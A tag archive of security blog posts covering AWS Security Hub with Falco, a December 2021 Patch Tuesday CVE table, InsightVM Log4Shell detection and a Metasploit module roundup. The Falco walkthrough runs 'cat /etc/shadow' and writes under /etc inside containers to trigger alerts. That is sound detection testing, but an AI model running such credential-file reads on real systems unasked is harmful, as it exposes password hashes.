Tag Archives: Vulnerability management

Continuous runtime security monitoring with AWS Security Hub and Falco

2021-12-17 Rajarshi Das

Post Syndicated from Rajarshi Das original https://aws.amazon.com/blogs/security/continuous-runtime-security-monitoring-with-aws-security-hub-and-falco/

Customers want a single and comprehensive view of the security posture of their workloads. Runtime security event monitoring is important to building secure, operationally excellent, and reliable workloads, especially in environments that run containers and container orchestration platforms. In this blog post, we show you how to use services such as AWS Security Hub and Falco, a Cloud Native Computing Foundation project, to build a continuous runtime security monitoring solution.

With the solution in place, you can collect runtime security findings from multiple AWS accounts running one or more workloads on AWS container orchestration platforms, such as Amazon Elastic Kubernetes Service (Amazon EKS) or Amazon Elastic Container Service (Amazon ECS). The solution collates the findings across those accounts into a designated account where you can view the security posture across accounts and workloads.

Solution overview

Security Hub collects security findings from other AWS services using a standardized AWS Security Findings Format (ASFF). Falco provides the ability to detect security events at runtime for containers. Partner integrations like Falco are also available on Security Hub and use ASFF. Security Hub provides a custom integrations feature using ASFF to enable collection and aggregation of findings that are generated by custom security products.

The solution in this blog post uses AWS FireLens, Amazon CloudWatch Logs, and AWS Lambda to enrich logs from Falco and populate Security Hub.

Figure : Architecture diagram of continuous runtime security monitoring

Figure 1: Architecture diagram of continuous runtime security monitoring

Here’s how the solution works, as shown in Figure 1:

An AWS account is running a workload on Amazon EKS.
1. Runtime security events detected by Falco for that workload are sent to CloudWatch logs using AWS FireLens.
2. CloudWatch logs act as the source for FireLens and a trigger for the Lambda function in the next step.
3. The Lambda function transforms the logs into the ASFF. These findings can now be imported into Security Hub.
4. The Security Hub instance that is running in the same account as the workload running on Amazon EKS stores and processes the findings provided by Lambda and provides the security posture to users of the account. This instance also acts as a member account for Security Hub.
Another AWS account is running a workload on Amazon ECS.
1. Runtime security events detected by Falco for that workload are sent to CloudWatch logs using AWS FireLens.
2. CloudWatch logs acts as the source for FireLens and a trigger for the Lambda function in the next step.
3. The Lambda function transforms the logs into the ASFF. These findings can now be imported into Security Hub.
4. The Security Hub instance that is running in the same account as the workload running on Amazon ECS stores and processes the findings provided by Lambda and provides the security posture to users of the account. This instance also acts as another member account for Security Hub.
The designated Security Hub administrator account combines the findings generated by the two member accounts, and then provides a comprehensive view of security alerts and security posture across AWS accounts. If your workloads span multiple regions, Security Hub supports aggregating findings across Regions.

Prerequisites

For this walkthrough, you should have the following in place:

Three AWS accounts.

Note: We recommend three accounts so you can experience Security Hub’s support for a multi-account setup. However, you can use a single AWS account instead to host the Amazon ECS and Amazon EKS workloads, and send findings to Security Hub in the same account. If you are using a single account, skip the following account specific-guidance. If you are integrated with AWS Organizations, the designated Security Hub administrator account will automatically have access to the member accounts.
Security Hub set up with an administrator account on one account.
Security Hub set up with member accounts on two accounts: one account to host the Amazon EKS workload, and one account to host the Amazon ECS workload.
Falco set up on the Amazon EKS and Amazon ECS clusters, with logs routed to CloudWatch Logs using FireLens. For instructions on how to do this, see:
- Implementing Runtime security in Amazon EKS using CNCF Falco
- Multi-cluster security with Falco and AWS Firelens on EKS & ECS
Important: Take note of the names of the CloudWatch Logs groups, as you will need them in the next section.
AWS Cloud Development Kit (CDK) installed on the member accounts to deploy the solution that provides the custom integration between Falco and Security Hub.

Deploying the solution

In this section, you will learn how to deploy the solution and enable the CloudWatch Logs group. Enabling the CloudWatch Logs group is the trigger for running the Lambda function in both member accounts.

To deploy this solution in your own account

Clone the aws-securityhub-falco-ecs-eks-integration GitHub repository by running the following command.
$git clone https://github.com/aws-samples/aws-securityhub-falco-ecs-eks-integration
Follow the instructions in the README file provided on GitHub to build and deploy the solution. Make sure that you deploy the solution to the accounts hosting the Amazon EKS and Amazon ECS clusters.
Navigate to the AWS Lambda console and confirm that you see the newly created Lambda function. You will use this function in the next section.

Figure : Lambda function for Falco integration with Security Hub

Figure 2: Lambda function for Falco integration with Security Hub

To enable the CloudWatch Logs group

In the AWS Management Console, select the Lambda function shown in Figure 2—AwsSecurityhubFalcoEcsEksln-lambdafunction—and then, on the Function overview screen, select + Add trigger.
On the Add trigger screen, provide the following information and then select Add, as shown in Figure 3.
- Trigger configuration – From the drop-down, select CloudWatch logs.
- Log group – Choose the Log group you noted in Step 4 of the Prerequisites. In our setup, the log group for the Amazon ECS and Amazon EKS clusters, deployed in separate AWS accounts, was set with the same value (falco).
- Filter name – Provide a name for the filter. In our example, we used the name falco.
- Filter pattern – optional – Leave this field blank.
Figure 3: Lambda function trigger – CloudWatch Log group
Repeat these steps (as applicable) to set up the trigger for the Lambda function deployed in other accounts.

Testing the deployment

Now that you’ve deployed the solution, you will verify that it’s working.

With the default rules, Falco generates alerts for activities such as:

An attempt to write to a file below the /etc folder. The /etc folder contains important system configuration files.
An attempt to open a sensitive file (such as /etc/shadow) for reading.

To test your deployment, you will attempt to perform these activities to generate Falco alerts that are reported as Security Hub findings in the same account. Then you will review the findings.

To test the deployment in member account 1

Run the following commands to trigger an alert in member account 1, which is running an Amazon EKS cluster. Replace <container_name> with your own value.
kubectl exec -it <container_name> /bin/bash
touch /etc/5
cat /etc/shadow > /dev/null
To see the list of findings, log in to your Security Hub admin account and navigate to Security Hub > Findings. As shown in Figure 4, you will see the alerts generated by Falco, including the Falco-generated title, and the instance where the alert was triggered.

Figure 4: Findings in Security Hub
To see more detail about a finding, check the box next to the finding. Figure 5 shows some of the details for the finding Read sensitive file untrusted.

Figure 5: Sensitive file read finding – detail view

Figure 6 shows the Resources section of this finding, that includes the instance ID of the Amazon EKS cluster node. In our example this is the Amazon Elastic Compute Cloud (Amazon EC2) instance.

To test the deployment in member account 2

Run the following commands to trigger a Falco alert in member account 2, which is running an Amazon ECS cluster. Replace <<container_id> with your own value.
docker exec -it <container_id> bash
touch /etc/5
cat /etc/shadow > /dev/null
As in the preceding example with member account 1, to view the findings related to this alert, navigate to your Security Hub admin account and select Findings.

To view the collated findings from both member accounts in Security Hub

In the designated Security Hub administrator account, navigate to Security Hub > Findings. The findings from both member accounts are collated in the designated Security Hub administrator account. You can use this centralized account to view the security posture across accounts and workloads. Figure 7 shows two findings, one from each member account, viewable in the Single Pane of Glass administrator account.

Figure 7: Write below /etc findings in a single view
To see more information and a link to the corresponding member account where the finding was generated, check the box next to the finding. Figure 8 shows the account detail associated with a specific finding in member account 1.

Figure 8: Write under /etc detail view in Security Hub admin account

By centralizing and enriching the findings from Falco, you can take action more quickly or perform automated remediation on the impacted resources.

Cleaning up

To clean up this demo:

Delete the CloudWatch Logs trigger from the Lambda functions that were created in the section To enable the CloudWatch Logs group.
Delete the Lambda functions by deleting the CloudFormation stack, created in the section To deploy this solution in your own account.
Delete the Amazon EKS and Amazon ECS clusters created as part of the Prerequisites.

Conclusion

In this post, you learned how to achieve multi-account continuous runtime security monitoring for container-based workloads running on Amazon EKS and Amazon ECS. This is achieved by creating a custom integration between Falco and Security Hub.

You can extend this solution in a number of ways. For example:

You can forward findings across accounts using a single source to security information and event management (SIEM) tools such as Splunk.
You can perform automated remediation activities based on the findings generated, using Lambda.

To learn more about managing a centralized Security Hub administrator account, see Managing administrator and member accounts. To learn more about working with ASFF, see AWS Security Finding Format (ASFF) in the documentation. To learn more about the Falco engine and rule structure, see the Falco documentation.

If you have feedback about this post, submit comments in the Comments section below.

Want more AWS Security news? Follow us on Twitter.

Patch Tuesday – December 2021

2021-12-15 Greg Wiseman

Post Syndicated from Greg Wiseman original https://blog.rapid7.com/2021/12/14/patch-tuesday-december-2021/

Patch Tuesday - December 2021

This month’s Patch Tuesday comes in the middle of a global effort to mitigate Apache Log4j CVE-2021-44228. In today’s security release, Microsoft issued fixes for 83 vulnerabilities across an array of products — including a fix for Windows Defender for IoT, which is vulnerable to CVE-2021-44228 amongst seven other remote code execution (RCE) vulnerabilities (the cloud service is not affected). Six CVEs in the bulletin have been publicly disclosed; the only vulnerability noted as being exploited in the wild in this month’s release is CVE-2021-43890, a Windows AppX Installer spoofing bug that may aid in social engineering attacks and has evidently been used in Emotet malware campaigns.

Interestingly, this round of fixes also includes CVE-2021-43883, a Windows Installer privilege escalation bug whose advisory is sparse despite the fact that it appears to affect all supported versions of Windows. While there’s no indication in the advisory that the two vulnerabilities are related, CVE-2021-43883 looks an awful lot like the fix for a zero-day vulnerability that made a splash in the security community last month after proof-of-concept exploit code was released and in-the-wild attacks began. The zero-day vulnerability, which researchers hypothesized was a patch bypass for CVE-2021-41379, allowed low-privileged attackers to overwrite protected files and escalate to SYSTEM. Rapid7’s vulnerability research team did a full root cause analysis of the bug as attacks ramped up in November.

As usual, RCE flaws figure prominently in the “Critical”-rated CVEs this month. In addition to Windows Defender for IoT, critical RCE bugs were fixed this month in Microsoft Office, Microsoft Devices, Internet Storage Name Service (iSNS), and the WSL extension for Visual Studio Code. Given the outsized risk presented by most vulnerable implementations of Log4Shell, administrators should prioritize patches for any products affected by CVE-2021-44228. Past that, put critical server-side and OS RCE patches at the top of your list, and we’d advise sneaking in the fix for CVE-2021-43883 despite its lower severity rating.

Summary charts

Summary tables

Apps Vulnerabilities

CVE	Vulnerability Title	Exploited	Publicly Disclosed?	CVSSv3	Has FAQ?
CVE-2021-43890	Windows AppX Installer Spoofing Vulnerability	Yes	Yes	7.1	Yes
CVE-2021-43905	Microsoft Office app Remote Code Execution Vulnerability	No	No	9.6	Yes

Browser Vulnerabilities

CVE	Vulnerability Title	Exploited	Publicly Disclosed?	CVSSv3	Has FAQ?
CVE-2021-4068	Chromium: CVE-2021-4068 Insufficient validation of untrusted input in new tab page	No	No	N/A	Yes
CVE-2021-4067	Chromium: CVE-2021-4067 Use after free in window manager	No	No	N/A	Yes
CVE-2021-4066	Chromium: CVE-2021-4066 Integer underflow in ANGLE	No	No	N/A	Yes
CVE-2021-4065	Chromium: CVE-2021-4065 Use after free in autofill	No	No	N/A	Yes
CVE-2021-4064	Chromium: CVE-2021-4064 Use after free in screen capture	No	No	N/A	Yes
CVE-2021-4063	Chromium: CVE-2021-4063 Use after free in developer tools	No	No	N/A	Yes
CVE-2021-4062	Chromium: CVE-2021-4062 Heap buffer overflow in BFCache	No	No	N/A	Yes
CVE-2021-4061	Chromium: CVE-2021-4061 Type Confusion in V8	No	No	N/A	Yes
CVE-2021-4059	Chromium: CVE-2021-4059 Insufficient data validation in loader	No	No	N/A	Yes
CVE-2021-4058	Chromium: CVE-2021-4058 Heap buffer overflow in ANGLE	No	No	N/A	Yes
CVE-2021-4057	Chromium: CVE-2021-4057 Use after free in file API	No	No	N/A	Yes
CVE-2021-4056	Chromium: CVE-2021-4056: Type Confusion in loader	No	No	N/A	Yes
CVE-2021-4055	Chromium: CVE-2021-4055 Heap buffer overflow in extensions	No	No	N/A	Yes
CVE-2021-4054	Chromium: CVE-2021-4054 Incorrect security UI in autofill	No	No	N/A	Yes
CVE-2021-4053	Chromium: CVE-2021-4053 Use after free in UI	No	No	N/A	Yes
CVE-2021-4052	Chromium: CVE-2021-4052 Use after free in web apps	No	No	N/A	Yes

Developer Tools Vulnerabilities

CVE	Vulnerability Title	Exploited	Publicly Disclosed?	CVSSv3	Has FAQ?
CVE-2021-43907	Visual Studio Code WSL Extension Remote Code Execution Vulnerability	No	No	9.8	No
CVE-2021-43908	Visual Studio Code Spoofing Vulnerability	No	No	nan	No
CVE-2021-43891	Visual Studio Code Remote Code Execution Vulnerability	No	No	7.8	No
CVE-2021-43896	Microsoft PowerShell Spoofing Vulnerability	No	No	5.5	No
CVE-2021-43892	Microsoft BizTalk ESB Toolkit Spoofing Vulnerability	No	No	7.4	No
CVE-2021-43225	Bot Framework SDK Remote Code Execution Vulnerability	No	No	7.5	No
CVE-2021-43877	ASP.NET Core and Visual Studio Elevation of Privilege Vulnerability	No	No	7.8	No

Device Vulnerabilities

CVE	Vulnerability Title	Exploited	Publicly Disclosed?	CVSSv3	Has FAQ?
CVE-2021-43899	Microsoft 4K Wireless Display Adapter Remote Code Execution Vulnerability	No	No	9.8	Yes

Microsoft Office Vulnerabilities

CVE	Vulnerability Title	Exploited	Publicly Disclosed?	CVSSv3	Has FAQ?
CVE-2021-42295	Visual Basic for Applications Information Disclosure Vulnerability	No	No	5.5	Yes
CVE-2021-42320	Microsoft SharePoint Server Spoofing Vulnerability	No	No	8	Yes
CVE-2021-43242	Microsoft SharePoint Server Spoofing Vulnerability	No	No	7.6	No
CVE-2021-42309	Microsoft SharePoint Server Remote Code Execution Vulnerability	No	No	8.8	Yes
CVE-2021-42294	Microsoft SharePoint Server Remote Code Execution Vulnerability	No	No	7.2	Yes
CVE-2021-43255	Microsoft Office Trust Center Spoofing Vulnerability	No	No	5.5	Yes
CVE-2021-43875	Microsoft Office Graphics Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-42293	Microsoft Jet Red Database Engine and Access Connectivity Engine Elevation of Privilege Vulnerability	No	No	6.5	Yes
CVE-2021-43256	Microsoft Excel Remote Code Execution Vulnerability	No	No	7.8	Yes

System Center Vulnerabilities

CVE	Vulnerability Title	Exploited	Publicly Disclosed?	CVSSv3	Has FAQ?
CVE-2021-43882	Microsoft Defender for IoT Remote Code Execution Vulnerability	No	No	9	Yes
CVE-2021-42311	Microsoft Defender for IoT Remote Code Execution Vulnerability	No	No	8.8	Yes
CVE-2021-42313	Microsoft Defender for IoT Remote Code Execution Vulnerability	No	No	8.8	Yes
CVE-2021-42314	Microsoft Defender for IoT Remote Code Execution Vulnerability	No	No	8.8	Yes
CVE-2021-42315	Microsoft Defender for IoT Remote Code Execution Vulnerability	No	No	8.8	Yes
CVE-2021-41365	Microsoft Defender for IoT Remote Code Execution Vulnerability	No	No	8.8	Yes
CVE-2021-42310	Microsoft Defender for IoT Remote Code Execution Vulnerability	No	No	8.1	Yes
CVE-2021-43889	Microsoft Defender for IoT Remote Code Execution Vulnerability	No	No	7.2	Yes
CVE-2021-43888	Microsoft Defender for IoT Information Disclosure Vulnerability	No	No	7.5	Yes
CVE-2021-42312	Microsoft Defender for IOT Elevation of Privilege Vulnerability	No	No	7.8	Yes

Windows Vulnerabilities

CVE	Vulnerability Title	Exploited	Publicly Disclosed?	CVSSv3	Has FAQ?
CVE-2021-43247	Windows TCP/IP Driver Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-43237	Windows Setup Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-43239	Windows Recovery Environment Agent Elevation of Privilege Vulnerability	No	No	7.1	No
CVE-2021-43231	Windows NTFS Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-43880	Windows Mobile Device Management Elevation of Privilege Vulnerability	No	Yes	5.5	Yes
CVE-2021-43244	Windows Kernel Information Disclosure Vulnerability	No	No	6.5	Yes
CVE-2021-43246	Windows Hyper-V Denial of Service Vulnerability	No	No	5.6	No
CVE-2021-43232	Windows Event Tracing Remote Code Execution Vulnerability	No	No	7.8	No
CVE-2021-43248	Windows Digital Media Receiver Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-43214	Web Media Extensions Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-43243	VP9 Video Extensions Information Disclosure Vulnerability	No	No	5.5	Yes
CVE-2021-43228	SymCrypt Denial of Service Vulnerability	No	No	7.5	No
CVE-2021-43227	Storage Spaces Controller Information Disclosure Vulnerability	No	No	5.5	Yes
CVE-2021-43235	Storage Spaces Controller Information Disclosure Vulnerability	No	No	5.5	Yes
CVE-2021-43240	NTFS Set Short Name Elevation of Privilege Vulnerability	No	Yes	7.8	No
CVE-2021-40452	HEVC Video Extensions Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-40453	HEVC Video Extensions Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-41360	HEVC Video Extensions Remote Code Execution Vulnerability	No	No	7.8	Yes
CVE-2021-43219	DirectX Graphics Kernel File Denial of Service Vulnerability	No	No	7.4	No

Windows ESU Vulnerabilities

CVE	Vulnerability Title	Exploited	Publicly Disclosed?	CVSSv3	Has FAQ?
CVE-2021-43215	iSNS Server Memory Corruption Vulnerability Can Lead to Remote Code Execution	No	No	9.8	Yes
CVE-2021-43238	Windows Remote Access Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-43223	Windows Remote Access Connection Manager Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-41333	Windows Print Spooler Elevation of Privilege Vulnerability	No	Yes	7.8	No
CVE-2021-43229	Windows NTFS Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-43230	Windows NTFS Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-40441	Windows Media Center Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-43883	Windows Installer Elevation of Privilege Vulnerability	No	Yes	7.8	No
CVE-2021-43234	Windows Fax Service Remote Code Execution Vulnerability	No	No	7.8	No
CVE-2021-43217	Windows Encrypting File System (EFS) Remote Code Execution Vulnerability	No	No	8.1	Yes
CVE-2021-43893	Windows Encrypting File System (EFS) Elevation of Privilege Vulnerability	No	Yes	7.5	No
CVE-2021-43245	Windows Digital TV Tuner Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-43224	Windows Common Log File System Driver Information Disclosure Vulnerability	No	No	5.5	Yes
CVE-2021-43226	Windows Common Log File System Driver Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-43207	Windows Common Log File System Driver Elevation of Privilege Vulnerability	No	No	7.8	No
CVE-2021-43233	Remote Desktop Client Remote Code Execution Vulnerability	No	No	7.5	No
CVE-2021-43222	Microsoft Message Queuing Information Disclosure Vulnerability	No	No	7.5	Yes
CVE-2021-43236	Microsoft Message Queuing Information Disclosure Vulnerability	No	No	7.5	Yes
CVE-2021-43216	Microsoft Local Security Authority Server (lsasrv) Information Disclosure Vulnerability	No	No	6.5	Yes

Using InsightVM to Find Apache Log4j CVE-2021-44228

2021-12-14 Greg Wiseman

Post Syndicated from Greg Wiseman original https://blog.rapid7.com/2021/12/14/using-insightvm-to-find-apache-log4j-cve-2021-44228/

Using InsightVM to Find Apache Log4j CVE-2021-44228

There are many methods InsightVM can use to identify vulnerable software. Which method is best depends on the software and specific vulnerability in question, not to mention variability that comes into play with differing network topologies and Scan Engine deployment strategies. When it comes to a vulnerability like CVE-2021-44228, affecting a software library (Log4j) that is used to build other software products and may not expose its presence in an obvious way, the situation gets even more complicated. For in-depth analysis on the vulnerability and its attack surface area, see AttackerKB.

The intent of this post is to walk InsightVM and Nexpose users through how to best approach detecting exposure to Log4Shell in your environment, while providing some additional detail about how the various checks work under the hood. This post assumes you already have an operational deployment of InsightVM or Nexpose. For additional documentation on scanning for Log4j CVE-2021-44228, take a look at our docs here.

Before (or while) you scan

Even before a vulnerability check has been made available, it can be possible to get a sense of your exposure using InsightVM features such as Query Builder, or Nexpose’s Dynamic Asset Groups. Because we use generic fingerprinting techniques such as querying Linux package managers and enumerating software found in Windows Registry uninstaller keys, the software inventory for assets may include products that are not explicitly supported. Using the search predicate software.product CONTAINS log4j will show packages on Linux systems that have been installed via package managers such as rpm or dpkg.

Using InsightVM to Find Apache Log4j CVE-2021-44228

An alternative approach to this is using an SQL Query Export using the following query:

SELECT
    da.sites AS "Site_Name",
    da.ip_address AS "IP_Address",
    da.mac_address AS "MAC_Address",
    da.host_name AS "DNS_Hostname",
    ds.vendor AS "Vendor",
    ds.name AS "Software_Name",
    ds.family AS "Software_Family",
    ds.version AS "Software_Version",
    ds.software_class AS "Software_Class"
FROM
    dim_asset_software das
JOIN
    dim_software ds USING(software_id)
JOIN
    dim_asset da ON da.asset_id = das.asset_id
WHERE
    ds.software_class like'%'
  AND
    ds.name ilike '%log4j%'
ORDER BY
    ds.name ASC

Authenticated and agent-based assessments

The most reliable way to find vulnerable instances of CVE-2021-44228 on non-Windows machines as of December 13, 2021 is via our authenticated check (check ID: apache-log4j-core-cve-2021-44228), which does a complete filesystem search for JAR files matching log4j-core.*.jar. At this time, the unzip command must be available on systems in order to extract the version from the JAR’s manifest file. An upcoming release (expected December 15) will add the capability to extract the version information from the filename if available.

For the find command to run and locate vulnerable JARs, scans must be configured with root credentials (either directly or via a privilege elevation mechanism) in the Site Configuration interface. There is currently no generic JAR detection available on Windows systems.

This functionality requires product version 6.6.118 or later. For Agent-based assessments, assets must be running version 3.1.2.36 of the Insight Agent or later. Use the Agent Management interface to determine the version of the Agent being used in your environment.

Remote scanning

A remote (unauthenticated) check for CVE-2021-44228 was published in a content release on December 12 9pm ET with Check ID apache-log4j-core-cve-2021-44228-remote. This check is platform-independent (and currently the only option for Windows systems) and works as follows:

IF any of the following TCP ports are found open: 80, 443, 8080, 8888 — or, alternatively, if: Nmap service fingerprinting detects HTTP or HTTPS running (note that enabling Nmap service fingerprinting may negatively impact scan times)
THEN the Scan Engine will attempt to exploit the vulnerability and make the scan target open a connection to the Engine on port 13456.
The Engine does not open a TCP listener but does a packet capture to identify connection attempts against 13456/TCP. If a connection attempt to the Engine is detected, this indicates that the target is vulnerable, and the check will fire accordingly.
This approach relies on bi-directional networking and requires the scan engine and scan target to be able to “talk” to each other. In some cases, such as scanning through a VPN, NAT, or firewall, that required bi-directional networking is not available.

Note: We have received some reports of the remote check not being installed correctly when taking a content update. Product version 6.6.119 was released on December 13, 2021 at 6 PM EST to ensure the remote check is available and functional.

Product-based checks

We know that many downstream vendors will issue security advisories of their own in the coming days and weeks. We continue to monitor several vendors for related security advisories. We will have checks for affected products included in our recurring coverage list as vendors provide details about affected and/or fixed versions. Users can also adapt the Query Builder or SQL Export queries provided above to find products of concern in the meantime, with the caveat that they may not be visible if they use non-standard installation mechanisms.

Container security

Customers who are worried about vulnerable images in their container repos have been able to scan for CVE-2021-44228 using InsightVM’s Container Security since December 10 at 2pm ET, thanks to our integration with the Snyk vulnerability database. It is also possible to rerun an assessment on any images that are particularly sensitive to be sure of up-to-date results.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Distribute Reports to Email Addresses in InsightVM

2021-11-17 Dane Grace

Post Syndicated from Dane Grace original https://blog.rapid7.com/2021/11/17/distribute-reports-to-email-addresses-in-insightvm/

Distribute Reports to Email Addresses in InsightVM

Rapid7 is investing heavily in the reporting and dashboard capabilities of InsightVM. In 2021 alone, we launched the ability to filter dashboards via single query, a new report creation wizard powered by our query builder, several use-case-driven dashboard templates, and most recently, the ability to distribute reports via email. This allows users to easily and quickly distribute reports to users who may not have access to InsightVM.

For example, let’s say Theresa is tasked with giving her manager a copy of our Patch Tuesday dashboard as a PDF at the end of every month. Previously, she had to go to the Reports Management page in InsightVM, download the PDF, create an email, and send this to her manager — who does not have an InsightVM account.

Now, she can either create this report via the query builder or edit the existing report, then check the checkbox labeled “Permit users who do not have access to console” under the “Shared with” section, and enter her manager’s email address. InsightVM will automatically send a link to an encrypted and password-protected PDF of the report and another email that contains the password.

Distribute Reports to Email Addresses in InsightVM

This additional security feature was included because of the increased threat surrounding proprietary information. For example, say Theresa creates an Assets report that is delivered every Friday to a colleague, and that colleague accidentally forwards the email with the PDF link to an unattended party. While the recipient could download the PDF, they’re blocked from viewing the contents because they don’t have the password.

This is an example of our evolution to more powerful features in the SaaS version of InsightVM, and our intention here is to reduce the burden of reporting to various stakeholders so that they can get back to what they do best: securing their environments.

We are excited to bring this functionality to our users. Please read our help documents for more information.

Better Together: XDR, SOAR, Vulnerability Management, and External Threat Intelligence

2021-11-15 Matthew Gardiner

Post Syndicated from Matthew Gardiner original https://blog.rapid7.com/2021/11/15/better-together-xdr-soar-vulnerability-management-and-external-threat-intelligence/

Better Together: XDR, SOAR, Vulnerability Management, and External Threat Intelligence

One of the biggest challenges with both incident response and vulnerability management is not just the raw number of incidents and vulnerabilities organizations need to triage and manage, but the fact that it’s often difficult to separate the critical incidents and vulnerabilities from the minor ones. If all incidents and vulnerabilities are treated as equal, teams will tend to underprioritize the critical ones and overprioritize those that are less significant. In fact, ZDNet reports that only 5.5% of all vulnerabilities are ever exploited in the wild. Meaning that fixing all vulnerabilities with equal priority is a significant misallocation of resources, as 95% of them will likely never be exploited.

Unjamming incident response and vulnerability management

My experience with organizations over the years shows a similar issue with security incidents. Clearly not all incidents are created equal in terms of risk and potential impact, so if your organization is treating them equally, this also is a sign of misprioritization. And what organization has a surplus of incident response cycles to waste? Without some informed triaging and prioritization, the remediation of both incidents and vulnerabilities can get jammed up, and the security team can be blamed for “crying wolf” by raising the security alarm too often without strong evidence.

How to better prioritize security incidents and vulnerabilities? Fundamentally, it comes down to simultaneously having the right data and intelligence from both inside your IT environment and the world outside. What if you could know with high certainty what you have, what is currently going on inside your IT environment, and how and whether the threat actors’ current tools, tactics, techniques, and procedures are currently active and relevant to you? If this information and analysis was available at the right time, it would go a long way to helping prioritize responses to both detected incidents and discovered vulnerabilities.

Integrating XDR, SOAR, vulnerability management, and external threat intelligence

The key building blocks of this approach require the combination of extended detection and response (XDR) for continuous visibility and threat detection; vulnerability management for vulnerability detection and management; SOAR for security management, integration, and automation; and external threat intelligence to inject information about what threat actors are actually doing and how this relates back to the organization. The intersection of these four security systems and sources of intelligence is where the magic happens.

Separately, XDR, SOAR, vulnerability management, and external threat intelligence are valuable in their own right. But when used closely together, they deliver greater security insights that help guide incident response and vulnerability management. Together, they help security teams focus their limited resources on the risks that matter most.

What Rapid7 is doing about it

Rapid7 is on the forefront of bringing this integrated approach to market. It starts — but does not end — with possessing all the underlying technology and expertise necessary to bring this approach to life through our products in XDR, SOAR, vulnerability management, and external threat intelligence. New and particularly important to this story is how Rapid7’s external threat intelligence offering, brought forward by the recent acquisition of IntSights, is integrated and directly available to assist with incident and vulnerability management prioritization and automation.

The newly released InsightConnect for IntSights Plugin enables, among other capabilities, the enrichment of indicators — IP addresses, domains, URLs, file hashes — with what is known about them in the outside world, such as whether they are part of attackers’ infrastructure, their registration details, when they were first seen, any associations with threat actor groups, severity, and other key aspects. This information, when linked to alerts and vulnerabilities, can help drive the response prioritizations that are incredibly important to improving incident response and vulnerability management effectiveness and efficiency.

This is just the start of integrating IntSights threat intelligence into Rapid7’s broader set of security offerings. Stay tuned for additional integration news as Rapid7 brings best-of-breed solutions further, combining our vulnerability management, detection and response, and threat intelligence products and services to solve more real-world security challenges.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Metasploit Wrap-Up

2021-11-05 Spencer McIntyre

Post Syndicated from Spencer McIntyre original https://blog.rapid7.com/2021/11/05/metasploit-wrap-up-137/

GitLab RCE

Metasploit Wrap-Up

New Rapid7 team member jbaines-r7 wrote an exploit targeting GitLab via the ExifTool command. Exploiting this vulnerability results in unauthenticated remote code execution as the git user. What makes this module extra neat is the fact that it chains two vulnerabilities together to achieve this desired effect. The first vulnerability is in GitLab itself that can be leveraged to pass invalid image files to the ExifTool parser which contained the second vulnerability whereby a specially-constructed image could be used to execute code. For even more information on these vulnerabilities, check out Rapid7’s post.

Less Than BulletProof

This week community member h00die submitted another WordPress module. This one leverages an information disclosure vulnerability in the WordPress BulletProof Security plugin that can disclose user credentials from a backup file. These credentials could then be used by a malicious attacker to login to WordPress if the hashed password is able to be cracked in an offline attack.

Metasploit Masterfully Manages Meterpreter Metadata

Each Meterpreter implementation is a unique snowflake that often incorporates API commands that others may not. A great example of this are all the missing Kiwi commands in the Linux Meterpreter. Metasploit now has much better support for modules to identify the functionality they require a Meterpreter session to have in order to run. This will help alleviate frustration encountered by users when they try to run a post module with a Meterpreter type that doesn’t offer functionality that is needed. This furthers the Metasploit project goal of providing more meaningful error information regarding post module incompatibilities which has been an ongoing effort this year.

New module content (3)

WordPress BulletProof Security Backup Disclosure by Ron Jost (Hacker5preme) and h00die, which exploits CVE-2021-39327 – This adds an auxiliary module that leverages an information disclosure vulnerability in the BulletproofSecurity plugin for WordPress. This vulnerability is identified as CVE-2021-39327. The module retrieves a backup file, which is publicly accessible, and extracts user credentials from the database backup.
GitLab Unauthenticated Remote ExifTool Command Injection by William Bowling and jbaines-r7, which exploits CVE-2021-22204 and CVE-2021-22205 – This adds an exploit for an unauthenticated remote command injection in GitLab via a separate vulnerability within ExifTool. The vulnerabilities are identified as CVE-2021-22204 and CVE-2021-22205.
WordPress Plugin Pie Register Auth Bypass to RCE by Lotfi13-DZ and h00die – This exploits an authentication bypass which leads to arbitrary code execution in versions 3.7.1.4 and below of the WordPress plugin, pie-register. Supplying a valid admin id to the user_id_social_site parameter in a POST request now returns a valid session cookie. With that session cookie, a PHP payload as a plugin is uploaded and requested, resulting in code execution.

Enhancements and features

#15665 from adfoster-r7 – This adds additional metadata to exploit modules to specify Meterpreter command requirements. Metadata information is used to add a descriptive warning when running modules with a Meterpreter implementation that doesn’t support the required command functionality.
#15782 from k0pak4 – This updates the iis_internal_ip module to include coverage for the PROPFIND internal IP address disclosure as described by CVE-2002-0422.

Bugs fixed

#15805 from timwr – This bumps the metasploit-payloads version to include two bug fixes for the Python Meterpreter.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

InsightVM Scan Diagnostics: Troubleshooting Credential Issues for Authenticated Scanning

2021-11-03 Greg Wiseman

Post Syndicated from Greg Wiseman original https://blog.rapid7.com/2021/11/03/insightvm-scan-diagnostics-troubleshooting-credential-issues-for-authenticated-scanning/

InsightVM Scan Diagnostics: Troubleshooting Credential Issues for Authenticated Scanning

Have you ever tried to figure out why a vulnerability or policy scan isn’t showing you the results you expect, even though you’ve provided credentials? If so, you’ll be pleased to hear that the November 3rd release of Nexpose and InsightVM (version 6.6.111) will introduce a new check category designed to help troubleshoot issues with credentialed scanning: Scan Diagnostics.

